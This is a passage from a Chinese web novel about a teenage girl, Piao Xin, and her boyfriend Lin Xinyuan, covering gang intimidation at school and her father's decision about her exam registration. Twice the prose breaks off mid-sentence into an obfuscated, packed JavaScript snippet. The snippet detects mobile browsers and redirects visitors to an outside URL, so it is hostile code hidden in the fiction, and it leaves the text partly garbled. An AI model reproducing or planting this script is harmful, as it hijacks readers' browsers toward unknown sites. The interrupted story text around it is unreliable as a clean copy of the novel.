林昕远带她去的是一家面馆，大晚上这家店还开着，而且人不少，基本都是穿着朴素的中年男子，店铺不大，桌子摆放得异常紧凑，中间的过道狭窄。 林昕远刚进去，店里的老板抬头看见他颇为惊喜地招呼：“昕远啊，好久没来了，还是老样子？” “嗯，”林昕远找了张空桌，伸手扯了两张纸擦着桌面说：“还是两碗三鲜面，都别放辣。” “好嘞。” 朴芯在他擦完桌子之后才坐下，面上来，她慢慢地吃着，不太懂林昕远今天到底是什么意思？ 太生气了所以看上去有些反常？ 或许是之前朴芯对他脾气差的印象太深，即使两人现在坐在这吃饭，朴芯也不能确定他是不是在憋着火气，等一个时机发作。 陇县紧挨着一条国道，面馆也在这附近，朴芯吃面的时候能听到附近大货车的轰鸣声。 店里时不时有人进来，周围人聊天聊的也都是走哪条路方便，哪边的高速堵车堵了几百米。 “你走陕甘高速要快，这几天人少。” “走那里程多，耗油……” 朴芯晚上吃过饭，不怎么饿，吃了几口就饱了，反而是对面的林昕远一直在吃。 过了几秒，朴芯听见他说：“以前我爸经常和我来这吃饭。” 朴芯下意识地抬头看他，林昕远却自顾自地低头吃面，仿佛刚才说话的人不是他。 就在这个瞬间，朴芯也大概明白了，这家面店应该是供大车司机歇脚用的。 在联想到晚上徐怀仁发的那几条消息，朴芯清楚自己误会他了，林昕远晚自习那会大概只是因为徐怀仁提到了他父亲而不高兴。 朴芯轻轻戳了两下面，想道歉，可是话到嘴边又很难说过出口。 她不喜欢这种欲言又止的感觉，所以干脆闭嘴。 吃过饭大概九点多，林昕远带她回去。 回去的路上陇县开始降温刮风，北方凛冽，路两侧的光秃树枝在风中低伏摇摆，朴芯出门的时候没想到林昕远会带她走那么远的路，以为就是在门口说几句话，所以只在单薄的睡衣外面套了一件羽绒服外套。 她走在前面，没走两步就感觉到了冷，手脚都被冻得麻木，过会林昕远却忽然快步往前。 他追上来的一瞬间，朴芯也下意识地往前跑，但是没跑过，林昕远冲上来抱住她。 手臂紧紧环着朴芯的腰，把对方摁向自己，强势到无从躲避，冰天雪地里，他的怀抱却异常温暖，仿佛是唯一的热源。 朴芯一瞬间诧异的失神，几乎是立马手足无措起来。 这是第一次，朴芯听见他温和到过分的声音，安抚的，沙哑的：“别和我闹了，你这几天是要折磨死我吗。” 他的举动太反常，让朴芯也忘了生气，风吹在耳边有呜呜的呼啸声，林昕远抓着朴芯的手放进他口袋。 温暖干燥的热意一股脑的从手背皮肤上往血液里传，朴芯不自觉的握拳。 林昕远沉默片刻，侧了下头：“别闹了，没剩下多长时间了，和我好好谈几天。” 他把衣服脱给朴芯穿，黑色的外套穿在女生身上有些宽大，朴芯把手放在外套口袋里，在里面摸到了打火机和烟。 陇县地处北方，冬季漫长，晚上降温之后更冷。 但在朴芯的记忆里那一天好像并不冷，这是24年2月19号。 * 这天之后他们的关系短暂的好转。 林昕远像从前那样放学送她回家，陪她一起吃饭，朴芯熟悉他身上淡淡的薄荷味，熟悉他吃饭的节奏，熟悉他手指敲桌子时的声音。 他有时候会把自己的衣服脱给朴芯穿，朴芯会摸他的口袋，摸到烟盒、打火机或者是糖。 朴芯问他不是戒烟了吗，林昕远心知肚明她是什么意思，她在说自己说话不算话。 林昕远于是瞥她一眼，说再抽我去死行吗。 朴芯哑口无言，林昕远的誓言总是锋利并且毫无余地，像他人一样。 他从那时起确实不再带烟，但朴芯的学业焦虑却越发严重，之前的同学给她打电话问她考什么大学。 朴芯没法说，周五的时候刘华连也找朴芯谈话，问她现在有什么想法，如果朴芯以现在的生物水平去高考，成绩肯定不尽人意。 刘华连说：“我看了你的资料，你以前是学地理的？” “嗯，”朴芯说：“物理化学和地理。” 刘华连打开电脑看了一眼说：“我们这还没实行新高考，你的学籍你爸是不是没给转过来，你问问他还能不能回原籍高考，能回去考最好。” 当时转学的事情朴兴南都没让她参与，所以朴芯也不知道自己学籍有没有转过来。 听到刘华连这么一说，她顿时觉得还有希望，赶紧应好。 朴芯正打算走，刘华连又叫住她：“你最近和林昕远走得很近？” 朴芯不知道刘华连是不是准备查早恋，但她最初和林昕远在一起的理由不就是因为学校对某些行为的漠视吗，所以就没说话。 刘华连大概也看出她的抵触了，没多说，就讲：“有些事情有利有弊，你要把握好，你们这个阶段，还是要以学业为重。” 朴芯点了下头，她心里想着高考的事情，对刘华连的话也没太在意。 这份高兴并没有维持多久，晚上放学她给朴兴南打了好几个电话都没接，林昕远要带她去吃饭，朴芯就暂时放下手机。 她没想到晚上看见罗茜和乔宇了，但不是在同一张桌子上，罗茜他们在隔壁吃饭，身边还有好几个男生女生。 乔宇大老远的就注意到林昕远了，本来想去打招呼，他爸妈已经打算给他找个民营高中再复读一年。 反正还有一年时间，乔宇这些天干脆就很少去学校了，想趁着还没复读的时候多玩几天。 他不去学校自然和林昕远见不上面，有些共同的饭局，聚会，林昕远也很少叫他。 什么原因，乔宇也清楚，所以等他刚站起来，看起来朴芯在林昕远旁边时便又坐下。 罗茜见他起来坐下的，捏着烟嗤笑：“你就这么怕朴芯？” “不是怕，”乔宇说：“没必要给远哥添堵。” “你是他兄弟和他说话也算添堵了？真没用。” “你说话别冲。” 这句话像是惹怒了罗茜，她本来一手拿烟，一手拿筷子打算吃饭，闻言“啪”地一声扔了筷子：“我 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他总是这样，任何以他为中心的漩涡，林昕远却总能置身事外。 朴芯吃了会饭，去卫生间，顺便再给朴兴南打电话，这次打通了，但沟通的并不顺利。 朴兴南像是听不懂话一样一直在重复让朴芯就在陇县高考，朴芯说自己学籍还没转过来，必须要回原籍高考。 他那边很吵闹，冯梅在叫嚷让朴兴南拿东西过来，还有小女孩叫爸爸的声音。 “学籍啊，”朴兴南说：“我过几天去帮你转过去，你好好在那高考，那边的试卷也简单些，爸爸这边顾不上你。” 朴芯急了：“我不要你把学籍转过来，我想回去高考，我自己会出钱……” 话还没说完，朴兴南把电话挂了。 朴芯在原地怔愣了几秒，熟悉的无助感席卷全身，她吸吸鼻子，打定主意就算朴兴南不同意，自己也会回南京高考。 到时候如果需要申请资料，她联系原先的老师应该也会帮自己，反正不要在陇县考试。 正洗手的时候乔宇过来了。 他应该是来洗脸的，对朴芯说对不起，声音字正腔圆，一字一顿，听起来很真诚。 朴芯关上水龙头，连理都没理，转身就走了。 回去时林昕远还在吃饭，他最近很养生，不喝酒不抽烟，一日三餐吃的相当健康。 林昕远见她回来脸色不好，问：“刚才和谁打电话。” “我爸，”朴芯说。 “聊什么了，你一脸不高兴。” 他语气很平常，说不上多关切的口吻。 朴芯情绪低沉，不想多说，掩饰性地轻咳了下，简短解释：“高考。我想回江苏高考，他不同意，但是在这里我跟不上进度。” 短短几行字，其实事很严重。 但林昕远轻嗤一声：“就这点小事你就要哭？他不让你回去我帮你。” 朴芯：“……” 朴芯没信他，当时也没太在意这句话，因为她很快就在饭店的角落看见了洪强的人。 是上次和冯江吵架那个矮个子男生，他显然也发现朴芯看见他了，隐蔽地对她笑笑，背对着林昕远，笑容很挑衅，表达的意思就一个——我在盯着你。 我在盯着你，所以你最好听话。 32. 第 32 章 洪强的小弟很多，他们不会直接来找朴芯，往往都是朴芯吃过饭或者是上体育课时偶然间看到有人在盯着自己。 朴芯知道他们的存在，但就是没办法赶走他们，挥挥手，那些人短暂的后退，但很快又围上来，像苍蝇一样阴魂不散。 照这个趋势，如果洪强等不及了，可能真会直接来朴芯家找她。 但她对此没有其他办法，从来都没有，她那些自以为是的做法从一开始就被检验出没用。 在陇县，朴芯唯一能抓住的就只有林昕远。 周三那天天气预报说有雨，从早上开始天空就一直阴沉着，乌云密布，但等到中午结束午休也没下雨，体育老师让班上的同学到操场上课，说今天要测八百米。 林昕远中午睡着到现在还没醒，也没人敢叫他，朴芯独自下楼。 今天操场有好几个班级一起上课，哪怕天气阴沉也没影响学生的兴致，高一高二的学生等老师喊了解散，三五成群在操场聊天，打球，临近跑道的篮球场更是人满为患，一个球场上好几个篮球飞来飞去。 朴芯班上老师喊人上跑道，朴芯在稍外侧。 她运动能力还算可以，之前还和周婵参加过亲子马拉松，跑八百米也能轻松跑进三分半，只是今天天气冷，跑步的时候吸进去的都是冷气，鼻腔一阵涩意。 班上有好几个学生跑着跑着就开始走了，但朴芯还在跑，就最后一圈的她感觉到了累，路过篮球场的弯道时，那边好几个男生堵着那正聊天，见到长跑的过来也丝毫没让位的意思。 朴芯也不想叫，正打算从外道绕路。 结果刚动，人群也跟着移动，周遭不知道是谁伸腿绊了她一下，朴芯猝不及防，往前踉跄几步摔倒。 刚才为了方便跑步，朴芯把外套脱了，就穿了一件薄的针织毛衣，手肘磕在坚实的塑料跑道上，顿时破皮出血，连带着手掌都一片通红。 跑步的节奏被打断，朴芯剧烈呼吸几下调整节奏，眼前有短暂的眩晕，然后起身，也没管伤口怎么样，接着往前跑。 等跑到终点，老师掐表，三分十五，还算可以。 朴芯撩起衣服看了眼自己的手肘，上次那道被刮伤的疤痕还留着些许增生的痕迹，这次手肘破了好大一块皮，但血流的不多，也没上次那么疼。 旁边的吴若莹刚才看见全程了，她往操场那边看，不知道看见谁了，走过来低声说：“孙瀚撞的，他在盯着你。” 朴芯抬头看，看见一个紫色外套的男生，是最近盯着她的洪强小弟之一。 朴芯大概也知道这是洪强的警告，她点头，说谢谢。 等她回到教室林昕远才睡醒，他这几天不抽烟，来学校特别无聊，一睡醒就在后面翻书。 物理课看语文书，化学课抄数学题，反正没老师管他，他无法无天。 林昕远从桌上的毛绒玩具里抬头，刚睡醒神情还有些倦，他最近换了一个耳钉，纯黑的耳环上点缀着几颗碎钻，给原本冷峻淡漠的容貌增添了几分闪烁的戾气。 等到看见朴芯手臂上的伤，这份戾气更加明显，林昕远往后挪椅子，下巴轻抬：“谁找你事了？” “摔的，”朴芯说。 “你摔能摔成这样？”林昕远没信：“你白痴吗？” 很多时候他们的交流都谈不上和谐，大部分时候都是没说几句话双方就都丧失了说话的欲望。 只是今天朴芯莫名有些委屈和难过。 因为洪强，也因为林昕远。 她不想再说话，回到位置上拿湿纸巾擦伤口，用得力气不小，像是发泄一样，原本刚刚结痂的地方也因为她的擦拭重新冒血。 林昕远在后面皱眉，干脆摁住她的手拿过湿纸巾替她擦，“你别tm的在这冲我发这些没用的脾气，疼的不是你？” 他动作很轻，班级里陆续有同学进来，但是因为林昕远在后面，所以基本没人敢往这边看，进来的时候也都蹑手蹑脚的。 朴芯稍微抬眼，看见林昕远的睫毛垂下，颌骨清晰，她攥了下手，林昕远发现了，但可能是这个小动作无关紧要，林昕远询问似地“嗯？”了一声。 朴芯问：“你是不是在怪我？” 和跟朴芯谈恋爱，唯一有意思的点就是她爱倒打一耙，明明是她什么都不说，却非要说是林昕远在怪她。 一番话听得人又觉得她说话的时候可怜，又觉得可气。 林昕远刚睡醒，可能心情还处于“今天又睡一觉简直神清气爽”的氛围中，所以也没生气，问：“我怪你什么？” 朴芯又握了握手掌，她手指很细，皮肤又白，握拳的时候骨关节撑着皮肤，显得格外脆弱。 她低头看林昕远握着湿巾纸的手，有些快速地眨了几下眼，问他：“如果我对你说，你会帮我吗？” 她声音不轻，甚至都没有当初她对自己说拜托时那点恳求的意味，但林昕远就是受不了这个语气。 他浑身感觉都被这句话刺起来了，林昕远摩挲着她手臂皮肤，软的，让人觉得可爱的。 那些说不上来的情绪鼓胀滞涩地塞满整颗心脏，让他说不出来别的话，林昕远说：“会。” 一个字说的斩钉截铁，好似永不后悔。 在陇县的这几年，朴芯记得很多事，但是好像每一个关键的瞬间她都忘记了要去看林昕远的表情。 他到底说这些话时是在笑还是在郑重其事，或者像之前一样混不吝？ 是随意还是轻巧，是温和还是毫不在意？ * 朴芯把洪强要自己约他出去的事情告诉林昕远了，说他们最近总是来找自己。 但林昕远好像对此不意外，擦完她手肘上的血迹让她站起来跟自己去医务室消毒处理伤口，勾了一抹笑，漫不经心地说道：“就这你怕成这样？约就约了。” 他说他会和洪强和解，到时候连带着朴芯的事情也一并了结。 “和解”这个词从林昕远嘴里出来像是天方夜谭，朴芯本来跟着他正往楼下走，听到这句话霍然停住。 前面的林昕远回头扫了她一眼，朴芯略显慌乱地问：“可是，可是他不会为难你吗？” 林昕远活动几下手腕，无所谓地说：“放心，他弄不死我。” 半天，朴芯哦了一声。 或许这样也好，只是洪强没受到惩罚而已。 朴芯已经慢慢开始接受一些社会现实，不是坏人就一定就会有惩罚。 从前这句话只在书里或者电视剧里出现，由主人公义愤填膺地说出来，彰显社会不公。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389414|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 现在她真实的处在这个境地下，没有宣泄也没有声嘶力竭，仅仅是“哦，这样”就结束了。 * 林昕远愿意跟着朴芯去找洪强，他连地点由洪强定这个条件也接受。 徐胜对此十分不理解，但这次没再劝，估计是也是看出点苗头。 死恋爱脑一个，没救了。 不过话虽然这么说，林昕远的朋友对他都特别真心，约了顿饭商量着该怎么办。 那天来的人很多，有魏颖，徐胜还有其他好几个男生，大部分朴芯都不认识。 难得朋友聚这么全，但徐胜表现的没那么喜庆，反而愁眉苦脸地蹲在饭店门口抽烟。 抽了没几口说林昕远：“你有苦受了，哥们一辈子，啧，没这么憋屈过。” 魏颖和两边玩得都不差，有时候还能在洪强的酒吧驻唱，没那闲工夫忧愁，打趣徐胜说：“看你远哥给人家做小弟多新鲜，我没想到我这辈子还能看上这出戏。” 她朝朴芯这边递了眼神，“不错，有手腕。” 几个人聊着，然后问林昕远，林昕远混不吝地就那一句话——他弄不死我，没事。 也确实如此，洪强虽然是混混，也蹲过看守所，但毕竟有自己开的店，还能混口饭吃，没必要到喊打喊杀的地步。 他就是想要下林昕远的面子，争一口气，稳固他老大的地位。 但没生病危险不代表没有危险，徐胜说：“你当心他们把你打的鼻青脸肿的出来。” 说了一句，林昕远没理，徐胜抬头看，看见林昕远靠着墙，若无其事地抬手理了理面前女孩的头发。 徐胜无语了，徐胜闭嘴了。 其实他也没其他能说的，因为这件事就是个死局。 洪强睚眦必报，林昕远又是他的眼中钉，而朴芯作为林昕远的女朋友肯定也被盯着。 她不像林昕远那样能打，遇到混混自己能反抗回去，再加上朴芯还需要准备高考不能分心。 林昕远也不可能二十小时守在她身边保护她，但凡洪强时不时的来骚扰她一下，或者背地里耍点阴招，朴芯的人生就毁了。 所以这件事保险起见就只能和解，没其他招。 这是林昕远能为她想到的最好的办法，他甘愿为此低头。 徐胜过会也看开了，虽然林昕远谈起恋爱来不要命，但至少戒烟戒酒了。 而且谁都能看的出来，林昕远的状态比原来那个堕落的他好了不少，往长远看，这是好事。 一顿饭徐胜一个主意没拿出来，反而喝了几瓶酒。 林昕远过来单纯是为了让朴芯吃饭，她吃饱了两人就先走，送她回家，然后林昕远自己再回来。 回来的时候徐胜他们还在喝酒，林昕远过来拿他拉在这的手机，魏颖问他：“你女朋友和乔园他们到底什么事，闹得这么不愉快？” “不知道，”林昕远说。 “你不问问？” “不用问，她什么时候想说自己会说。” 魏颖终于能问出自己长久以来的困惑：“你连个前因后果都不知道就让乔宇滚了，你就这么信朴芯没错？” “你高估她了，”林昕远淡嗤一声，抬腿迈过椅子往外走：“她那副好学生的样子，能有什么错？” 33. 第 33 章 洪强定的时间是周四，地点在他自己的酒吧里。 林昕远对这件事好像很不在意，他还是照常来学校，不过最近睡觉的次数变少了，有时候朴芯能感觉到他时不时的碰自己的椅子或者是头发。 像是一整天都在后面看着自己。 不是很打扰的碰触，朴芯没有管他。 她大部分的精力也不在洪强和林昕远的事情上，而是在考虑自己的学籍问题。 朴芯从网上查了资料看到如果学生户籍在南京，只需要有就读证明，她还可以回原籍高考。 朴芯这几天一直在熬夜准备资料，周四放学，她和林昕远去洪强的酒吧。 刚进包间洪强大哥的架势的摆的就很足，把林昕远的肩膀拍得砰砰作响，开场就先让他喝了三杯。 林昕远确实能屈能伸，说喝就喝了。 室内灯光炫目，洪强笑得十分得意，手指着朴芯说：“她听我话吧？让带你来就带着你来，你上次护她干什么？老弟，女人如衣服！” 周边的人都捧场的笑，林昕远没笑，也没洪强的话表示什么，他看了朴芯一眼，靠着椅背举起酒杯和洪强碰了一下：“我敬你。” 林昕远身上的感觉摆在那里，就算他敬这杯酒，但其实仍旧不像落下风的姿态，但这适时的示弱仍旧让桌上又是一阵捧场的哄笑。 谁都喜欢看桀骜者低头，特别是像林昕远这种以前狂的没边的人。 屋里满是酒味，烟味，朴芯很快感觉到不舒服想吐。 包间里大家的注意力都在林昕远身上，没人留意他，朴芯起身想去卫生间洗手。 这家酒吧不大，但人很多，抽烟的、喝酒的，空气中交织着细小的灰尘和烟味。 朴芯走到一半，路上接到了朴兴南的电话，酒吧里喧嚣，他那边说的话朴芯听不太清，提高了声音问：“你说什么？” 然后快步朝卫生间那边走，关上门安静稍许，朴兴南问：“你在哪，这么吵，你好好学习，不要搞那些乱七八糟的……” 他唠叨很多话，可能是周围环境太喧闹了，朴芯一句都不想听，打断他问：“你到底要说什么？” 朴兴南那边一愣，兴师问罪：“你对爸爸说话就这个语气，在那边学坏了？” 朴芯意识到自己声音有点冲，她咬了下嘴唇，稳了稳情绪：“我这边还有事，你没事我就挂了。” “有事，”朴兴南说：“你的学籍爸爸帮你转过去了，你就在那里安心高考，那边的试卷还比咱们这里简单。” 朴芯怔住，“你帮我转学籍了？” “嗯昨天转的，你上次打电话来说不能再那高考，我去教育厅问了——” “谁让你帮我转学籍了？”朴芯完全懵了，质问道：“我明明说了我想回南京高考，你凭什么帮我转学籍！我压根就跟不上这边的课程，你有病吗？！” 朴兴南那边顿了下，似乎被她这个不寻常的语气震住了，“朴芯啊，爸爸知道让你一个人去陇县你受委屈了，但你听爸爸说，我这边有你弟弟妹妹……” “我没有弟弟妹妹，我没有，”朴芯握紧手机，眼泪在眼眶里打转，鼻子涩到说不出话，就重复着：“你别再给我打电话了，我没有弟弟妹妹。” 还没等朴兴南说什么，朴芯挂了电话，然后拉黑联系人。 出去洗脸的时候朴芯才发现自己眼睛通红，酒吧的镜子上都是些擦不掉的污渍，混合着水珠，朦胧地照出人影。 冷水冲洗脸颊，朴芯想的是全完了，那些她计划好的未来此时就像一个个易碎的泡沫，脆弱的谁都可以伸手弄碎它们。 没有声息，也没有任何铺垫，只剩下破碎后的喷溅的虚幻水汽，暂时的漂浮在空中，然后很快又飘散。 从头至尾，她过的都很失败。 朴芯吸吸鼻子，既不想回包间也不想和任何人说话。 晚上十二点半，林昕远才在陇县的一条巷子里找到她。 朴芯坐在地上，弯腰，头枕在自己膝盖上，似乎在发呆，远远的看见林昕远，没说话起身又往前走。 那边不远徐胜正举着手电筒往一条街上探头找人，看见他这边停住，赶紧大声问：“找到了？” 林昕远点头，徐胜焦急地晃着手电筒跑过来：“找到了赶紧带她回去啊，这都几点了，找都找半天了……你怎么光说不动？！” 林昕远抬手示意他不用过来：“你们先回去。” 十二点陇县的路灯都关了，徐胜的手电筒照着林昕远，白色强光照的他一张脸骨相立现，明晃的灯光下男生额头有道青筋绷得极其明显，格外冷戾。 这是他发飙前奏，徐胜停下脚步劝道：“有话好好说，她，可能也是一时兴起……” 讪讪地说了两句，他识趣地往后退——从七点多找到现在，任谁都要发火。 朴芯压根跑不过林昕远，她也没想跑。 林昕远从后面走过来，握着她的下巴让她停住脚步抬头，语气平静狠戾：“你什么意思，找死？” 他的动作带来微弱的痛感，朴芯却对这些动作和话都没太大反应，拉开他手想走，但林昕远却不放。 他身上还带着一丝微弱的酒气，手上渐渐用力，感觉恨不得掐死面前这个人，“你到底想干什么，我为了你今天去搞这个饭局，结果你一声不吭地走了，我欠你的吗你对我就这幅态度？” 他像个傻子一样在里面喝酒，结果一转头朴芯走了，半天找不到人，要不是事先知道，林昕远真觉得朴芯是故意耍他。 “你别把事情都推到我身上，”朴芯一下被这句话搞烦了，她讨厌“为了你”这几个字，根本就不是为了她，朴兴南是不想让她再回到南京打扰他的生活，他当朴芯是个没用的拖油瓶。 林昕远也一样，朴芯抬眼，她眼睛里很空，只有一些说不上是愤懑还是捂住的东西，一字一顿， “我没让你这么做，我没让你和我在一起，也没让你现在来找我。” 所以一切都是他自作多情？ 他帮忙他还有错了？！ 林昕远气极反笑，他干脆松开手，问：“你不想让我这么做？那你想我做什么，像你那样冲人家笑，给别人送礼物，有用吗？” “有用，”朴芯说：“就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392984|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算没用也不用你管。” 他们那时候太年轻，其实也很不相配，就像两棵截然不同的树木，被迫挨得很近，却在成长的过程中因为过于狭窄的生存距离彼此磋磨，掠夺。 林昕远脾气很差，朴芯有时候也很犟，谁也不肯后退。 那些对未来、对身边一切糟糕事情的绝望和委屈都在此刻发泄，朴芯的声音颤抖，但字字切骨：“你根本帮不了我，我一点都不想待着这里，不想遇见你们，你以为我愿意和你在一起吗，根本就不想。” 这句话太严重了，林昕远甚至都来不及发怒，另外一股更加迅猛的情感却快速地，像狂风骤雨般席卷全身，酸涩的情绪从心脏开始蔓延。 林昕远偏头咳嗽了一下，再偏过头，眼底情绪翻滚，朴芯刚想走，林昕远却一把拽住她的手把她往回拉。 他手锢得很紧，胸膛起伏，整个人像一座牢笼困住朴芯。。 越想逃越越走不了，朴芯眼圈渐渐红了，争执中本能的抓着他的手重重咬下。 她咬得很重，牙齿陷进肉里，嘴里一瞬间满是铁锈味，生涩、血腥。 猝不及防，林昕远却连眉头都没皱一下，他甚至都没动，就这么看着朴芯咬。 周围很安静，周围只剩下风吹过树枝的摩挲声。 朴芯跌坐在地上，她屈膝，低着头把脸埋进手臂里，头发散乱的垂在耳侧，以林昕远这个角度只能看见她一截冷白色的下巴，和颤抖的肩膀。 林昕远手上赫然是一圈渗着血丝的牙印，在皮肤上极其清晰。 但他没管，就挺想抽烟的。 到这个时候，说什么都感觉差点意思，林昕远这人也不是说非要和谁在一起，他和朴芯的事情说到底，不算好聚，好散估计也做不到。 就这样也挺可以的了，谈也谈过了，她不领情就算了。 再这么谈下去，林昕远迟早要早死五年。 良久，他蹲下，刚想说话，巷口微弱的灯光勾勒出少女的身形，她抓了抓自己的头发，说：“对不起……对不起，我总是让你受伤，我不想的。但总是这样……” 声音在抖，手指也在抖，像一只哀恸的小动物蜷缩在角落。 朴芯视线茫然地盯着地面，眼泪顺着睫毛的弧度往下落，她慢慢地说：“我不知道该怎么办了，林昕远，他不让我回去高考，我待着这里很多题目都不会做，之前我给他打电话，他也只让我听话。那天……我很想你在。” 她哭泣没有声音，只有眼泪一颗颗往下落，从鼻尖到眼睛全是红的，“那天乔宇和罗茜他们给我打电话，我去了，但是，但是我没想到会发生这么多事……” 世界安静下来，朴芯越说声音越低，说她去派出所，说那天的哮喘药很难买，还是派出所的民警给她找的。 说铁制的椅子，说朴兴南压根不关心她，她说了好多话，眼泪不停地流。 过了很久，林昕远沙哑着声问：“他们叫你你就去了？” 朴芯茫然地眨了下眼，睫毛沾了眼泪，很重很沉，她茫然地说：“因为他们说你在。然后，我想问你……问你还回来上学吗？”